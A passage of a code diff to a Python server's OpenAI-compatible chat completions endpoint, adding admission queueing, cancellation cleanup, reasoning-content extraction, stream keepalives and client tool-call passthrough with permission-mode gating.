+                        await _close_openai_admitted_stream_iterator(
+                            iterator,
+                            cancelled = stream_cancelled,
+                        )
+                except LlamaAdmissionTimeout as exc:
+                    _openai_admission_log(
+                        "timeout",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "warning",
+                    )
+                    api_monitor.fail(monitor_id, str(exc))
+                    yield _openai_stream_error_sse(
+                        _openai_admission_error_body(exc, status_code = 503)
+                    )
+                except LlamaAdmissionCancelled:
+                    _openai_admission_log(
+                        "cancelled-before-upstream",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                except asyncio.CancelledError:
+                    api_monitor.finish(monitor_id, "cancelled")
+                    raise
+                except HTTPException as exc:
+                    status_code = getattr(exc, "status_code", 500) or 500
+                    detail = exc.detail
+                    error = (
+                        detail
+                        if isinstance(detail, dict) and "error" in detail
+                        else openai_error_body(str(detail), status = status_code)
+                    )
+                    api_monitor.fail(monitor_id, str(detail))
+                    yield _openai_stream_error_sse(error)
+                finally:
+                    if lease is not None:
+                        lease.release()
+                    if not stream_started:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        reservation.cancel()
+                        _tracker.__exit__(None, None, None)
+
+            async def _gguf_admission_unstarted_cleanup() -> None:
+                api_monitor.finish(monitor_id, "cancelled")
+                if stream_lease is not None:
+                    stream_lease.release()
+                reservation.cancel()
+                _tracker.__exit__(None, None, None)
 
             return _SameTaskStreamingResponse(
-                gguf_stream_chunks(),
+                admitted_gguf_stream_chunks(),
+                unstarted_cleanup = _gguf_admission_unstarted_cleanup,
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -6370,57 +9071,189 @@ async def openai_chat_completions(
                 },
             )
         else:
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
+
+            _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+            _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+            _tracker.__enter__()
+            admission_lease = None
+            admission_wait_started_at = None
+            try:
+                if reservation.lease_nowait() is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_nonstream",
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                admission_lease = await _wait_for_openai_admission_non_streaming(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                if admission_wait_started_at is not None:
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = "chat_standard_nonstream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+            except asyncio.CancelledError:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise
+            except LlamaAdmissionTimeout as exc:
+                _openai_admission_log(
+                    "timeout",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise _openai_admission_http_exception(exc, status_code = 503)
+            except LlamaAdmissionCancelled as exc:
+                _openai_admission_log(
+                    "cancelled-before-upstream",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_nonstream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                api_monitor.finish(monitor_id, "cancelled")
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise HTTPException(
+                    status_code = 499,
+                    detail = _openai_admission_error_body(exc, status_code = 499),
+                )
+
             try:
                 # ``n`` requests several independent completions; the single
                 # decode slot yields one at a time, so loop sequentially.
-                _n = payload.n or 1
+                drain_task = None
 
-                _choices = []
-                _monitor_replies = []
-                _prompt_tokens = 0
-                _sum_completion = 0
-                _prompt_details = None
-                for _idx in range(_n):
-                    # Stop spawning the remaining choices once cancelled.
-                    if cancel_event.is_set():
-                        break
-                    full_text = ""
-                    completion_usage = None
-                    completion_finish = None
-                    for token in gguf_generate(_idx):
-                        if isinstance(token, dict):
-                            if token.get("type") == "metadata":
-                                completion_usage = token.get("usage")
-                                completion_finish = token.get("finish_reason")
+                async def _drain_cancelled_gguf_task():
+                    if drain_task is None:
+                        return
+                    while not drain_task.done():
+                        try:
+                            await asyncio.shield(drain_task)
+                        except asyncio.CancelledError:
+                            cancel_event.set()
                             continue
-                        full_text = token
+                        except Exception:
+                            break
+                    if drain_task.done():
+                        try:
+                            drain_task.exception()
+                        except (asyncio.CancelledError, Exception):
+                            pass
 
-                    reasoning_text, visible_text = _extract_responses_reasoning(
-                        full_text,
-                        parse_think_markers = _responses_should_parse_think_markers(
-                            payload,
-                            llama_backend,
-                        ),
-                    )
-                    message_kwargs = {"content": visible_text}
-                    if reasoning_text:
-                        message_kwargs["reasoning_content"] = reasoning_text
-                    _choices.append(
-                        CompletionChoice(
-                            index = _idx,
-                            message = CompletionMessage(**message_kwargs),
-                            finish_reason = _clamp_finish_reason(completion_finish),
+                def _drain_gguf_choices():
+                    _n = payload.n or 1
+                    _choices = []
+                    _monitor_replies = []
+                    _prompt_tokens = 0
+                    _sum_completion = 0
+                    _prompt_details = None
+                    for _idx in range(_n):
+                        # Stop spawning the remaining choices once cancelled.
+                        if cancel_event.is_set():
+                            break
+                        full_text = ""
+                        completion_usage = None
+                        completion_finish = None
+                        for token in gguf_generate(_idx):
+                            if isinstance(token, dict):
+                                if token.get("type") == "metadata":
+                                    completion_usage = token.get("usage")
+                                    completion_finish = token.get("finish_reason")
+                                continue
+                            full_text = token
+
+                        reasoning_text, visible_text = _extract_responses_reasoning(
+                            full_text,
+                            parse_think_markers = _responses_should_parse_think_markers(
+                                payload,
+                                llama_backend,
+                            ),
                         )
+                        message_kwargs = {"content": visible_text}
+                        if reasoning_text:
+                            message_kwargs["reasoning_content"] = reasoning_text
+                        _choices.append(
+                            CompletionChoice(
+                                index = _idx,
+                                message = CompletionMessage(**message_kwargs),
+                                finish_reason = _clamp_finish_reason(completion_finish),
+                            )
+                        )
+                        _monitor_replies.append(visible_text)
+                        if completion_usage:
+                            # The prompt is shared across all n choices, so count its
+                            # tokens ONCE (OpenAI bills only generated tokens for each
+                            # extra choice). Only completion_tokens accumulates.
+                            _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens
+                            _sum_completion += completion_usage.get("completion_tokens") or 0
+                            if _prompt_details is None:
+                                _prompt_details = completion_usage.get("prompt_tokens_details")
+                    return (
+                        _n,
+                        _choices,
+                        _monitor_replies,
+                        _prompt_tokens,
+                        _sum_completion,
+                        _prompt_details,
                     )
-                    _monitor_replies.append(visible_text)
-                    if completion_usage:
-                        # The prompt is shared across all n choices, so count its
-                        # tokens ONCE (OpenAI bills only generated tokens for each
-                        # extra choice). Only completion_tokens accumulates.
-                        _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens
-                        _sum_completion += completion_usage.get("completion_tokens") or 0
-                        if _prompt_details is None:
-                            _prompt_details = completion_usage.get("prompt_tokens_details")
+
+                drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_choices))
+                (
+                    _n,
+                    _choices,
+                    _monitor_replies,
+                    _prompt_tokens,
+                    _sum_completion,
+                    _prompt_details,
+                ) = await asyncio.shield(drain_task)
 
                 response = ChatCompletion(
                     id = completion_id,
@@ -6452,6 +9285,11 @@ async def openai_chat_completions(
                 api_monitor.finish(monitor_id)
                 return _model_json_response(response)
 
+            except asyncio.CancelledError:
+                cancel_event.set()
+                await _drain_cancelled_gguf_task()
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
             except Exception as e:
                 logger.error(f"Error during GGUF completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
@@ -6471,7 +9309,10 @@ async def openai_chat_completions(
                         ),
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
-
+            finally:
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
     # ── Standard Unsloth path ─────────────────────────────────
 
     # Decode image (from content parts OR legacy field)
@@ -6509,7 +9350,40 @@ async def openai_chat_completions(
     # Classify capability flags from the loaded template.
     _sf_model_info = backend.models.get(backend.active_model_name, {})
     _sf_tpl = (_sf_model_info.get("chat_template_info") or {}).get("template")
-    _sf_features = _detect_safetensors_features(backend, _sf_tpl)
+    # Named templates may expose native reasoning only in their ``tool_use``
+    # branch. Use a truthy placeholder for Unsloth-managed tools, whose concrete
+    # schemas are selected below, and the request schemas for client passthrough.
+    _sf_server_tool_intent = bool(
+        _effective_enable_tools(payload) or _explicit_studio_tool_loop_requested(payload)
+    )
+    _sf_template_tools = payload.tools if payload.tool_choice != "none" else None
+    if not _sf_template_tools and _sf_server_tool_intent:
+        _sf_template_tools = ({},)
+
+    def _sf_response_protocol(tools = None):
+        features = _detect_safetensors_features(backend, _sf_tpl, tools = tools)
+        parse_think = bool(
+            features.get("supports_reasoning") or features.get("reasoning_always_on")
+        )
+        reasoning_prefilled = _sf_reasoning_prefill_mode(
+            features,
+            payload.enable_thinking,
+            _sf_tpl,
+            reasoning_effort = payload.reasoning_effort,
+        )
+        return features, parse_think, reasoning_prefilled
+
+    # GGUF parity: split canonical <think> output into reasoning_content. The
+    # selected template branch must match whether this request renders tools.
+    _sf_features, _sf_parse_think, _sf_reasoning_prefilled = _sf_response_protocol(
+        _sf_template_tools
+    )
+
+    def _new_sf_reasoning_extractor():
+        return _ResponsesReasoningExtractor(
+            parse_think_markers = _sf_parse_think,
+            reasoning_prefilled = _sf_reasoning_prefilled,
+        )
 
     cancel_event = threading.Event()
     completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
@@ -6556,9 +9430,20 @@ async def openai_chat_completions(
             _sf_use_tools = False
 
     if _sf_use_tools:
+        # permission_mode ask/auto require the confirm gate for Unsloth's own tool
+        # loop; when a CLI policy (--enable-tools) forces the loop on without a
+        # request-level tool signal, derive confirm here so the mode still gates
+        # the call (matching the GGUF path). off/full never prompt.
+        _sf_effective_confirm = _permission_mode_confirm(payload)
         # Bypass Permissions suppresses confirm, so the stream requirement
-        # (the gate needs streaming to prompt) no longer applies.
-        if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
+        # (the gate needs streaming to prompt) no longer applies. auto with an
+        # always-safe-only selection never prompts, so it needs no stream even
+        # though _sf_effective_confirm stays true for the loop's per-call gate.
+        if (
+            _confirm_gate_needs_stream(payload)
+            and not payload.bypass_permissions
+            and not payload.stream
+        ):
             raise _reject(
                 400,
                 openai_error_body(
@@ -6586,6 +9471,8 @@ async def openai_chat_completions(
         _sf_auto_heal_tool_calls = (
             payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
         )
+        # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+        _sf_display_tool_names = _display_tool_name_gate(_sf_tools_to_use)
 
         # Strip stale tool-call XML from prior assistant turns.
         _sf_chat_messages = []
@@ -6597,6 +9484,7 @@ async def openai_chat_completions(
                         "content": _strip_tool_xml_for_display(
                             _msg["content"],
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _sf_display_tool_names,
                         ).strip(),
                     }
                 )
@@ -6617,24 +9505,28 @@ async def openai_chat_completions(
                 min_p = payload.min_p,
                 max_tokens = effective_max_tokens,
                 repetition_penalty = payload.repetition_penalty,
+                presence_penalty = payload.presence_penalty,
                 cancel_event = cancel_event,
                 enable_thinking = payload.enable_thinking,
                 reasoning_effort = payload.reasoning_effort,
                 preserve_thinking = payload.preserve_thinking,
                 auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 max_tool_iterations = _sf_tool_budget,
                 tool_call_timeout = payload.tool_call_timeout
                 if payload.tool_call_timeout is not None
                 else 300,
                 session_id = payload.session_id,
+                thread_id = payload.thread_id,
                 rag_scope = payload.rag_scope,
                 # Bypass Permissions takes precedence over the confirm gate:
                 # never prompt while bypassing.
-                confirm_tool_calls = bool(payload.confirm_tool_calls)
-                and not bool(payload.bypass_permissions),
+                confirm_tool_calls = _sf_effective_confirm and not bool(payload.bypass_permissions),
                 bypass_permissions = bool(payload.bypass_permissions),
+                permission_mode = payload.permission_mode,
                 use_adapter = payload.use_adapter,
                 stats_holder = _sf_stats_holder,
+                reasoning_prefilled = _sf_reasoning_prefilled,
             )
 
         _sf_tool_sentinel = object()
@@ -6644,6 +9536,7 @@ async def openai_chat_completions(
 
         async def sf_tool_stream():
             gen = None
+            _sf_next_task = None
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_cancel(request, cancel_event)
             )
@@ -6652,6 +9545,19 @@ async def openai_chat_completions(
 
                 gen = sf_generate_with_tools()
                 prev_text = ""
+                reasoning_extractor = _new_sf_reasoning_extractor()
+
+                def _sf_flush_reasoning():
+                    # Drain the extractor at turn/stream end (mirrors GGUF); only visible text hits the monitor.
+                    fr, fv = reasoning_extractor.finish()
+                    out = []
+                    if fr:
+                        out.append(_chat_reasoning_chunk(completion_id, created, model_name, fr))
+                    if fv:
+                        api_monitor.append_reply(monitor_id, fv)
+                        out.append(_chat_content_chunk(completion_id, created, model_name, fv))
+                    return out
+
                 while True:
                     if cancel_event.is_set():
                         backend.reset_generation_state()
@@ -6662,13 +9568,54 @@ async def openai_chat_completions(
                         api_monitor.finish(monitor_id, "cancelled")
                         return
 
-                    event = await asyncio.to_thread(next, gen, _sf_tool_sentinel)
+                    # Stall keepalive (see GGUF tool stream): silent backend segments
+                    # must not leave the SSE stream idle past proxy timeouts.
+                    _sf_next_task = asyncio.create_task(
+                        asyncio.to_thread(next, gen, _sf_tool_sentinel)
+                    )
+                    while True:
+                        _sf_done, _ = await asyncio.wait(
+                            {_sf_next_task},
+                            timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                        )
+                        if _sf_done:
+                            break
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    event = _sf_next_task.result()
+                    # Done; drop the reference so the finally-block drain no-ops.
+                    _sf_next_task = None
                     if event is _sf_tool_sentinel:
                         break
+                    if isinstance(event, GenStreamError):
+                        backend.reset_generation_state()
+                        _msg = _friendly_gen_stream_error(event)
+                        api_monitor.fail(monitor_id, _msg)
+                        yield _openai_stream_error_sse(
+                            {"error": {"message": _msg, "type": "server_error"}}
+                        )
+                        return
+                    if not isinstance(event, dict):
+                        raise RuntimeError(
+                            f"Invalid safetensors tool event: {type(event).__name__}"
+                        )
+
+                    if event["type"] == "heartbeat":
+                        # Tool-execution wrapper heartbeat -> SSE keepalive.
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                        continue
+
+                    if event["type"] in ("tool_output", "tool_args"):
+                        # Live stdout/stderr, or tool-call arguments as the model writes them.
+                        yield f"data: {json.dumps(event)}\n\n"
+                        continue
 
                     if event["type"] == "status":
                         if not event["text"]:
+                            # Iteration boundary: flush reasoning, then a fresh prefilled extractor for the next turn.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         status_data = json.dumps(
                             {
                                 "type": "tool_status",
@@ -6680,7 +9627,11 @@ async def openai_chat_completions(
 
                     if event["type"] in ("tool_start", "tool_end"):
                         if event["type"] == "tool_start":
+                            # Flush reasoning before tool_start so the thinking block closes ahead of the card.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         yield f"data: {json.dumps(event)}\n\n"
                         continue
 
@@ -6689,14 +9640,24 @@ async def openai_chat_completions(
                     clean_cumulative = _strip_tool_xml_for_display(
                         raw_cumulative,
                         auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                        enabled_tool_names = _sf_display_tool_names,
                     )
                     new_text = clean_cumulative[len(prev_text) :]
                     prev_text = clean_cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split reasoning vs visible; only visible reaches the monitor.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        api_monitor.append_reply(monitor_id, visible_delta)
+                        yield _chat_content_chunk(completion_id, created, model_name, visible_delta)
 
+                for _c in _sf_flush_reasoning():
+                    yield _c
                 yield _chat_final_chunk(completion_id, created, model_name, "stop")
                 # Usage chunk from the last turn, same shape as the
                 # GGUF tool loop's metadata. Request-scoped holder, so
@@ -6724,6 +9685,11 @@ async def openai_chat_completions(
                 backend.reset_generation_state()
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
+            except GenStreamErrorRaised as exc:
+                backend.reset_generation_state()
+                _msg = _friendly_gen_stream_error(exc)
+                api_monitor.fail(monitor_id, _msg)
+                yield _openai_stream_error_sse({"error": {"message": _msg, "type": "server_error"}})
             except Exception:
                 backend.reset_generation_state()
                 # Generic wire message; full trace stays in the log (CWE-209:
@@ -6736,12 +9702,18 @@ async def openai_chat_completions(
                         "type": "server_error",
                     },
                 }
-                yield f"data: {json.dumps(error_chunk)}\n\n"
+                yield _openai_stream_error_sse(error_chunk)
             finally:
                 await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                # Drain a still-running next(gen) worker before closing: closing
+                # mid-next(gen) raises ValueError('generator already executing') and
+                # skips the generator's cleanup finally. Matches the GGUF tool stream.
+                await _drain_pending_next_task(_sf_next_task, cancel_event)
                 if gen is not None:
                     try:
-                        gen.close()
+                        # Offload the close so the generator's cleanup runs off the event
+                        # loop (matches the GGUF SSE path); a disconnect can't stall the loop.
+                        await asyncio.to_thread(gen.close)
                     except (RuntimeError, ValueError):
                         pass
                 _sf_tracker.__exit__(None, None, None)
@@ -6749,6 +9721,7 @@ async def openai_chat_completions(
         if payload.stream:
             return _SameTaskStreamingResponse(
                 sf_tool_stream(),
+                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_sf_tracker),
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -6766,26 +9739,45 @@ async def openai_chat_completions(
                 for event in gen:
                     if cancel_event.is_set():
                         break
+                    if isinstance(event, GenStreamError):
+                        raise HTTPException(
+                            status_code = 500,
+                            detail = _friendly_gen_stream_error(event),
+                        )
+                    if not isinstance(event, dict):
+                        raise RuntimeError(
+                            f"Invalid safetensors tool event: {type(event).__name__}"
+                        )
                     if event.get("type") == "content":
                         full_text = _strip_tool_xml_for_display(
                             event.get("text", ""),
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _sf_display_tool_names,
                         )
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
-            api_monitor.set_reply(monitor_id, content_text)
+            # Split prefilled <think> out of the visible answer (GGUF parity); the monitor gets visible text only.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                content_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            api_monitor.set_reply(monitor_id, _visible_text)
             _stats = _sf_stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed")
+            _sf_msg_kwargs = {"content": _visible_text}
+            if _reasoning_text:
+                _sf_msg_kwargs["reasoning_content"] = _reasoning_text
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = content_text),
+                        message = CompletionMessage(**_sf_msg_kwargs),
                         finish_reason = "stop",
                     )
                 ],
@@ -6796,6 +9788,15 @@ async def openai_chat_completions(
             backend.reset_generation_state()
             api_monitor.finish(monitor_id, "cancelled")
             raise
+        except GenStreamErrorRaised as exc:
+            backend.reset_generation_state()
+            _msg = _friendly_gen_stream_error(exc)
+            api_monitor.fail(monitor_id, _msg)
+            raise HTTPException(status_code = 500, detail = _msg)
+        except HTTPException as exc:
+            backend.reset_generation_state()
+            api_monitor.fail(monitor_id, str(exc.detail))
+            raise
         except Exception:
             backend.reset_generation_state()
             # CWE-209: generic detail; full trace in log.
@@ -6819,6 +9820,7 @@ async def openai_chat_completions(
         min_p = payload.min_p,
         max_new_tokens = effective_max_tokens or 2048,
         repetition_penalty = payload.repetition_penalty,
+        presence_penalty = payload.presence_penalty,
     )
     # Forward reasoning kwargs; the worker/template wrapper peels off any the
     # template doesn't accept.
@@ -6829,25 +9831,93 @@ async def openai_chat_completions(
     if payload.preserve_thinking is not None:
         gen_kwargs["preserve_thinking"] = payload.preserve_thinking
 
+    # ── Client-tool passthrough (safetensors + MLX) ──────────────
+    # Client tools (or tool-result history) without server-side tools: render
+    # tools into the template, generate one turn, heal text-form calls (#6801).
+    # supports_tools=False falls through to plain relay (GGUF gate parity).
+    _sf_has_tool_msgs = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    # Gate on _sf_use_tools (did the server-side path claim the request?), not
+    # raw mcp_enabled: an empty MCP registry must not silently drop client tools.
+    _sf_client_tools = (
+        not _effective_enable_tools(payload)
+        and not _sf_use_tools
+        and image is None
+        and not _sf_is_gptoss
+        and _sf_features.get("supports_tools", False)
+        and ((payload.tools and len(payload.tools) > 0) or _sf_has_tool_msgs)
+    )
+    _sf_heal = (
+        heal_gate(payload.auto_heal_tool_calls, payload.tools, payload.tool_choice)
+        if _sf_client_tools
+        else None
+    )
+    if _sf_client_tools:
+        # Re-derive from payload.messages so tool_calls / role="tool" history
+        # survives templating; fold system/developer into one leading system
+        # message (templates reject "developer") and clear prompt to avoid a dup.
+        gen_kwargs["messages"] = _set_or_prepend_system_message(
+            _structured_tool_history_for_local_template(
+                _flatten_content_parts_for_local_template(_openai_messages_for_passthrough(payload))
+            ),
+            system_prompt,
+        )
+        gen_kwargs["system_prompt"] = ""
+        # tool_choice="none": keep history templating but advertise no tools
+        # (heal_gate is off, markup would relay as prose). A forced function
+        # narrows templating to that one schema. Both mirror the GGUF path,
+        # where llama-server honors tool_choice itself.
+        _sf_tc = payload.tool_choice
+        _sf_forced = None
+        if isinstance(_sf_tc, dict) and isinstance(_sf_tc.get("function"), dict):
+            _sf_forced = _sf_tc["function"].get("name")
+        if _sf_tc == "none":
+            gen_kwargs["tools"] = None
+        elif isinstance(_sf_forced, str):
+            gen_kwargs["tools"] = [
+                t
+                for t in payload.tools or []
+                if isinstance(t, dict)
+                and isinstance(t.get("function"), dict)
+                and t["function"].get("name") == _sf_forced
+            ] or None
+        else:
+            gen_kwargs["tools"] = payload.tools
+
+    # The potential tool context above is needed before server/client routing is
+    # known. This standard path now has the exact schemas that will be rendered,
+    # so resolve reasoning parsing again to keep empty registries, forced-tool
+    # misses, and tool_choice="none" on the marker-free template branch.
+    _, _sf_parse_think, _sf_reasoning_prefilled = _sf_response_protocol(gen_kwargs.get("tools"))
+
     # Request-scoped usage/timings receptacle (filled at gen_done).
     stats_holder: dict = {}
 
     if payload.use_adapter is not None:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_with_adapter_control(
                 use_adapter = payload.use_adapter,
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
     else:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_chat_response(
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
 
     # ── Streaming response ────────────────────────────────────────
@@ -6857,32 +9927,56 @@ async def openai_chat_completions(
         _tracker.__enter__()
 
         async def stream_chunks():
+            gen = None
+            _next_task = None
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_cancel(request, cancel_event)
             )
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
+                # Client-tool passthrough: heal text-form calls on the fly
+                # (None => relay verbatim).
+                healer = StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None
+                heal_state = {"idx": 0}
+
                 prev_text = ""
-                # Run the sync generator in a thread pool to avoid blocking the
-                # event loop. Critical for compare mode: two SSE requests arrive
-                # concurrently but the orchestrator serializes them via
-                # _gen_lock; without run_in_executor the second request's
-                # blocking lock acquisition would freeze the entire event loop,
-                # stalling both streams.
+                # Split prefilled <think> into reasoning_content deltas (GGUF parity); single turn, serves MLX.
+                reasoning_extractor = _new_sf_reasoning_extractor()
+                # Run the sync generator in a worker thread so it can't block the event
+                # loop. Critical for compare mode: a second request's blocking _gen_lock
+                # acquisition would otherwise freeze the loop and stall both streams.
                 _DONE = object()  # sentinel for generator exhaustion
-                loop = asyncio.get_event_loop()
                 gen = generate()
                 while True:
                     if cancel_event.is_set():
                         backend.reset_generation_state()
                         break
-                    # next(gen, _DONE) returns _DONE instead of raising
-                    # StopIteration -- StopIteration can't propagate through
-                    # asyncio futures (Python limitation).
-                    cumulative = await loop.run_in_executor(None, next, gen, _DONE)
+                    # Stall keepalive (see safetensors tool stream) each window while
+                    # next(gen) runs in a worker. next(gen, _DONE) returns _DONE rather
+                    # than raising StopIteration (which can't cross asyncio futures).
+                    _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _DONE))
+                    while True:
+                        _done_tasks, _ = await asyncio.wait(
+                            {_next_task},
+                            timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                        )
+                        if _done_tasks:
+                            break
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    cumulative = _next_task.result()
+                    # Done; drop the reference so the finally-block drain no-ops.
+                    _next_task = None
                     if cumulative is _DONE:
                         break
+                    if isinstance(cumulative, GenStreamError):
+                        backend.reset_generation_state()
+                        _msg = _friendly_gen_stream_error(cumulative)
+                        api_monitor.fail(monitor_id, _msg)
+                        yield _openai_stream_error_sse(
+                            {"error": {"message": _msg, "type": "server_error"}}
+                        )
+                        return
                     if await request.is_disconnected():
                         cancel_event.set()
                         backend.reset_generation_state()
@@ -6892,10 +9986,76 @@ async def openai_chat_completions(
                     prev_text = cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split prefilled <think> reasoning first (GGUF/MLX parity),
+                    # then route only the visible text through the client-tool
+                    # healer so tool markup inside a reasoning block is not promoted.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        if healer is None:
+                            # Monitor mirrors the verbatim relay; with healing on,
+                            # _sf_heal_events_to_sse records the healed events instead.
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _chat_content_chunk(
+                                completion_id, created, model_name, visible_delta
+                            )
+                        else:
+                            for line in _sf_heal_events_to_sse(
+                                healer.feed(visible_delta),
+                                completion_id,
+                                created,
+                                model_name,
+                                heal_state,
+                                payload.parallel_tool_calls,
+                                monitor_id,
+                            ):
+                                yield line
 
-                yield _chat_final_chunk(completion_id, created, model_name, "stop")
+                final_reasoning, final_visible = reasoning_extractor.finish()
+                if final_reasoning:
+                    yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning)
+                if final_visible:
+                    if healer is None:
+                        api_monitor.append_reply(monitor_id, final_visible)
+                        yield _chat_content_chunk(completion_id, created, model_name, final_visible)
+                    else:
+                        for line in _sf_heal_events_to_sse(
+                            healer.feed(final_visible),
+                            completion_id,
+                            created,
+                            model_name,
+                            heal_state,
+                            payload.parallel_tool_calls,
+                            monitor_id,
+                        ):
+                            yield line
+
+                # A cancelled stream must not promote buffered-but-incomplete
+                # markup: finalize()'s allow_incomplete heal would execute a tool
+                # the user just cancelled. Disconnect returns earlier; "Stop" only
+                # sets cancel_event, so guard on it here too.
+                _cancelled = cancel_event.is_set()
+                if healer is not None and not _cancelled:
+                    for line in _sf_heal_events_to_sse(
+                        healer.finalize(),
+                        completion_id,
+                        created,
+                        model_name,
+                        heal_state,
+                        payload.parallel_tool_calls,
+                        monitor_id,
+                    ):
+                        yield line
+
+                _finish = (
+                    "tool_calls"
+                    if (healer is not None and not _cancelled and healer.healed)
+                    else "stop"
+                )
+                yield _chat_final_chunk(completion_id, created, model_name, _finish)
                 # Usage chunk (choices=[], usage set), same shape as the
                 # GGUF path so the speed popover works for MLX too.
                 # Request-scoped holder, so concurrent streams cannot
@@ -6923,6 +10083,13 @@ async def openai_chat_completions(
                 backend.reset_generation_state()
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
